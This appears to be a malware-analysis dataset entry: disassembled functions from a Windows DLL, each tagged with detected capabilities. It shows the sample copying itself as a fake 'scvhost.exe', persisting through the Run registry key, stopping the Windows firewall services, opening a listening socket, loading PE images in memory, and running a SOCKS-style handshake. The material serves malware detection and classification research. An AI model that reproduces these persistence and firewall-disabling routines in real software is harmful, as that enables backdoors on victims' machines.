joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003041
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call dword [0x1000bf08]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100030be
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100030c5
xor eax, eax
jmp 0x1000314b
push edi
call dword [0x1000be2c]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10003102
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000be88]
add esp, 0x10
jmp 0x10003116
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10003138
dec eax
je 0x10003135
dec eax
dec eax
jne 0x10003148
lea eax, [ebp - 0x168]
push eax
call fcn.10002dca
jmp 0x10003147
push ebx
jmp 0x1000313a
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10002e49
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003531
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100035d4
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x100036d9
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000bf50]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082c0
push 1
push esi
push 0x100082e0
mov dword [ebp - 0xc], esi
call dword [0x1000bf58]
test eax, eax
jge 0x10003711
xor eax, eax
jmp 0x100037b7
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082d0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100037a6
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000379d
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10003792
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x1000377f
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x1000372e
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000bf54]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x100044f7
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x10004480
push eax
call dword [0x1000bea4]
xor ebx, ebx
mov dword [0x1000c360], eax
cmp eax, ebx
je 0x100046ed
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.10004438
push ebx
push ebx
push 4
call fcn.10004438
add esp, 0x18
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000be58]
cmp dword [ebp - 0x84], 2
jne 0x100046ce
cmp dword [ebp - 0x90], 6
jae 0x100045a2
call sym.MainDll.dll_MainThread
jmp 0x100046ce
lea eax, [ebp - 0x198]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x198]
push 0x1000a948
push eax
lea eax, [ebp - 0x198]
push str._s_s.exe
push eax
call dword [0x1000be88]
add esp, 0x10
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [0x1000be68]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x1000be34]
lea eax, [ebp - 0x198]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x198]
push eax
call fcn.10006dc1
test eax, eax
pop ecx
jne 0x10004633
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [0x1000be88]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x1000bde8]
mov dword [ebp + 0xc], ebx
call dword [0x1000be1c]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x1000be88]
add esp, 0x10
push 0x3e8
call dword [0x1000be30]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x1000be5c]
cmp dword [ebp + 0xc], 0x103
je 0x100046af
push edi
call dword [0x1000be2c]
push 0xbb8
call dword [0x1000be30]
lea eax, [ebp - 0x8a0]
push eax
call fcn.10002476
pop ecx
mov edi, eax
mov eax, dword [0x1000bf5c]
cmp eax, 3
je 0x100046be
cmp eax, 1
jne 0x1000466f
push 0xffffffffffffffff
push edi
call dword [0x1000be3c]
push edi
call dword [0x1000be2c]
push 0x64
call dword [0x1000be30]
mov eax, dword [0x1000bf5c]
cmp eax, 3
je 0x100046ed
cmp eax, 1
je 0x100046ed
cmp dword [0x1000c364], ebx
je 0x100046ce
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000473c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000bf50]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082c0
push 1
push esi
push 0x100082e0
mov dword [ebp - 0xc], esi
call dword [0x1000bf58]
test eax, eax
jge 0x10004774
xor eax, eax
jmp 0x1000481a
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082d0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004809
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004800
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100047f5
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x100047e2
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10004791
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000bf54]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10004e14
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10004f24
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10004f24
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004e6c
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10004f24
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call dword [0x1000bf08]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10004f32
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10004eef
push eax
push edi
call fcn.1000509e
pop ecx
pop ecx
push edi
call fcn.10005118
test eax, eax
pop ecx
je 0x10004f1d
push edi
call fcn.10004fe1
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10004f2b
add eax, ebx
test eax, eax
je 0x10004f1d
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10004f28
push edi
call fcn.100052d7
pop ecx
xor eax, eax
jmp 0x10004f2d
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004f32
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10004fde
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10004f9e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10004fc8
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1000bf0c]
add esp, 0xc
jmp 0x10004fc8
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [0x1000bf08]
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10004f6b
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1000598d
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
lea eax, [ebp - 0x190]
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x10008260
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x6c], 0xffffffff
xor ebx, ebx
push 0x32
lea eax, [esi + 8]
push ebx
push eax
mov dword [esi + 0x70], ebx
mov dword [esi + 4], ebx
call sub.MSVCRT.dll_memset
push 0x32
lea eax, [esi + 0x3a]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [esi + 0x9c], eax
lea eax, [esi + 0x84]
push eax
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x10005ace
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x10005b13
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x10005b23
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 6
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, bind
push eax
push dword [ebp + 8]
push eax
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ecx, ecx
cmp dword [ebp - 0x18], 4
pop edi
sete cl
neg eax
sbb eax, eax
and eax, ecx
leave
ret
Function at 0x10005b6f
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, str.MpsSvc
mov esi, ecx
push edi
call fcn.10005b23
test eax, eax
pop ecx
je 0x10005b91
push edi
call fcn.10005ace
pop ecx
mov edi, str.SharedAccess
push edi
call fcn.10005b23
test eax, eax
pop ecx
je 0x10005ba8
push edi
call fcn.10005ace
pop ecx
mov ecx, esi
call fcn.10005a70
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x6c], eax
jne 0x10005bca
xor al, al
jmp 0x10005cb5
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
push dword [ebp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x12], ax
pop edi
lea eax, [ebp - 0x14]
push edi
push eax
push dword [esi + 0x6c]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10005c12
push 0x32
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10005c1d
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x10005bc3
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
push dword [ebp + 0x10]
movzx eax, ax
mov dword [esi + 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005c75
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005c75
push dword [ebp + 0x10]
lea eax, [esi + 8]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x14]
lea eax, [esi + 0x3a]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x10005c97
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005cbc
push ebx
push ebx
mov dword [esi + 0x7c], eax
call edi
mov dword [esi + 0x74], eax
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005d36
push ebx
push ebx
mov byte [esi + 0x80], 1
call edi
cmp eax, ebx
mov dword [esi + 0x70], eax
setne al
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10005e08
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10
lea eax, [ebp - 0x10]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0xe], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10005e5c
mov ecx, ebx
call fcn.10006a59
test eax, eax
je 0x10005e91
push edi
mov ecx, ebx
call fcn.10006a59
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10005e91
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005e9a
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
pop eax
jmp 0x10005e93

Function at 0x10005e9f
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x1000bde4
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x10005f1b
xor ebx, ebx
mov eax, dword [esi + 0xc]
xor edi, edi
cmp dword [eax + ebx], edi
je 0x10005f1b
mov eax, dword [ebp + 8]
and byte [eax], 0
cmp word [esi + 0xa], di
jle 0x10005f16
test edi, edi
jle 0x10005ee4
push 0x1000b1f4
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax + ebx]
movzx eax, byte [eax + edi]
push eax
lea eax, [ebp - 0x10]
push 0x1000b1f0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
add esp, 0x14
inc edi
cmp edi, eax
jl 0x10005ed1
add ebx, 4
jmp 0x10005ebb
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005f23
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005f77
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005f7b
xor eax, eax
jmp 0x10005fb4
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10005e9f
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret
Function at 0x10005fb7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10005fed
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10005fe8
sub edi, eax
add esi, eax
jmp 0x10005fc1
or eax, 0xffffffff
jmp 0x10005fef
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x100068f4
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], ecx
mov al, byte [esi]
mov byte [ebp - 2], 5
cmp al, 5
je 0x1000691c
movzx eax, al
jmp 0x10006a52
mov al, byte [esi + 2]
test al, al
je 0x1000692b
cmp al, 2
jne 0x10006a4b
lea eax, [ecx + 8]
push eax
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10006a4b
cmp byte [ebp - 1], 2
jne 0x10006a4f
mov edi, 0x100
lea eax, [ebp - 0x108]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x208]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006a4b
test eax, eax
je 0x10006a4b
cmp byte [esi], 1
jne 0x10006a4b
mov al, byte [esi + 1]
test al, al
je 0x100069d7
movzx eax, al
cmp eax, edi
jg 0x100069d7
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x100069fe
cmp ecx, edi
jg 0x100069fe
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp - 8]
add eax, 8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10006a35
lea eax, [ebp - 0x208]
push eax
mov eax, dword [ebp - 8]
add eax, 0x3a
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10006a35
and byte [esi + 1], al
jmp 0x10006a39
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10006a4f
xor eax, eax
jmp 0x10006a52
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10006a59
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006a74
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret 4